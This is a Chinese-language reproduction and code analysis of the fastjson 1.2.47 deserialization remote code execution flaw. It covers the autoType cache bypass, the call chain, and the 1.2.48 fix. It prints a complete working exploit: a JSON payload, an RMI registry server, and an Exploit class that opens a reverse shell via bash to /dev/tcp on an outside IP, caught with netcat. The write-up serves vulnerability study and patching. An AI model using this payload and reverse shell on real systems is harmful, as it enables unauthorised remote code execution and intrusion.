简介

fastjson是由阿里开发的一种json的解析器和生成器。在2019年6月26日,用户提出issue,存在远程代码执行的版本<=1.2.47.

fastjson下载地址:

fastjsongithub.com


环境准备

  • jdk 1.6.0.65
  • fastjson 1.2.47

实验场景

POC


{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}


复现采用jndi利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE ,了解jndi注入。

RMIRegistry.java


package deserialize;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; 
import java.rmi.registry.LocateRegistry; 
import java.rmi.registry.Registry;
public class RMIRegistry {     
public static void main(String[] args) throws Exception {         
      Registry registry = LocateRegistry.createRegistry(1099);         
      Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象         
      ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);         
      registry.bind("Exploit",referenceWrapper);     
   } 
}


Exploit.java


import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec();
        return null;
    }

    private static void exec() {
        try {
            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999<&1");//反弹shell
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        exec();
    }
}


POC.java


package deserialize;
import com.alibaba.fastjson.JSON;
public class POC {
    public static void main(String[] argv) {
        String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}";
        JSON.parse(payload);
    }
}


  1. 使用javac编译Exploit.java,得到的Exploit.class,放入本地或其他服务器(由于rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。
  2. 运行 RMIRegistry.java。
  3. 攻击机(192.168.66.13) 运行netcat -lvvp 9999 监听9999端口,运行POC.java,如图3-1可以看到成功拿到shell。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_bc

3-1


漏洞原理

Fastjson中负责处理parse的一般是DefaultJSONParser.parseObject。 fastjson中将带解析的数据用JSONLexer封装。对待解析的数据{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}从左向右解析。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_java_02

4-1

图4-1中,当解析到@type时,进入checkAutoType,传入的参数typeName=java.lang.Class,跟进checkAutoType方法。


public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }
                //省略部分代码

        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null
        }

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        //省略部分代码
        return clazz;
    }


TypeUtils.getClassFromMapping方法,第一次没有存入cache为null,跟进deserializers.findClass(typeName),可以看到该方法通过keyString(这里传入的是java.lang.class)匹配this.buckets的className,this.buckets存在java.lang.class,所以返回java.lang.class


public Class findClass(String keyString) {
        for(int i = 0; i < this.buckets.length; ++i) {
            IdentityHashMap.Entry bucket = this.buckets[i];
            if (bucket != null) {
                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
                    Object key = bucket.key;
                    if (key instanceof Class) {
                        Class clazz = (Class)key;
                        String className = clazz.getName();
                        if (className.equals(keyString)) {
                            return clazz;
                        }
                    }
                }
            }
        }

        return null;
    }


回到DefaultJSONParser.parseObject()方法,继续跟进,如图4-2,通过 config.getDeserializer 获得反序列化的路由类 MiscCodec。并调用该路用类的deserialze(this, clazz, fieldName)方法.


fastjson2 反序列工具 redis工具 fastjson反序列化性能_java_03

4-2

跟进该方法中,如图4-3,主要调用parser.parse()方法提取到com.sun.rowset.JdbcRowSetImpl赋给objVal对象。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_04

4-3

继续往下走,如图4-4,调用TypeUtils.loadClass


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_05

4-4

跟进loadClass(String className, ClassLoader classLoader)方法,如图4-5loadClass调用该方法的重载方法,设置$cache$为true


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_06

4-5

跟进loadClass的重载方法,将com.sun.rowset.JdbcRowSetImpl存入上文在checkAutoType中提到mappings中(即缓存中)。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_bc_07

4-6

图4-6 至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl存入mappings中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject(),解析的第二个键值对如下:


"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}


和第一个一样,不同的是,此时的typeName为com.sun.rowset.JdbcRowSetImpl


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_08

4-7

跟进config.checkAutoType(String typeName, Class<?> expectClass, int features)方法,如图4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl存入mappings中。如图4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);获取到com.sun.rowset.JdbcRowSetImpl对象。并返回该对象。(同样绕过checkAutoType中黑名单限制以及autoType开关的检查)


fastjson2 反序列工具 redis工具 fastjson反序列化性能_java_09

4-8

fastjson2 反序列工具 redis工具 fastjson反序列化性能_java_10

4-9

图4-9 和第一次一样,如图4-10调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_11

4-10

图4-10 跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags),首先有一些asm操作,接着调用如deserialze方法,如图4-11


fastjson2 反序列工具 redis工具 fastjson反序列化性能_java_12

4-11

setValue中通过method.invoke(object, value)反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit方法 .


fastjson2 反序列工具 redis工具 fastjson反序列化性能_fastjson反序列化过滤字段属性_13

4-12

跟进setAutoCommit中,如图-13调用this.connect()


fastjson2 反序列工具 redis工具 fastjson反序列化性能_json_14

4-13

this.connect()对成员变量dataSourceName进行lookup,成功利用jndi注入。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_bc_15

4-14

调用链:


Exec:620,Runtime //命令执行
Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数
parseObject:368,DefaultJSONParser //解析传入的json字符串


官方修复

官方在1.2.48版本更改以下代码进行修复,推荐升级到最新版本。

  • 黑名单修复,增加8409640769019589119(java.lang.Class) 1459860845934817624(java.net.InetAddress)两个类的黑名单。


fastjson2 反序列工具 redis工具 fastjson反序列化性能_json_16


  • MiscCodec.java文件对cache缓存设置成false


fastjson2 反序列工具 redis工具 fastjson反序列化性能_bc_17


  • ParserConfig.java文件对checkAutoType()进行了相关策略调整 .


fastjson2 反序列工具 redis工具 fastjson反序列化性能_bc_18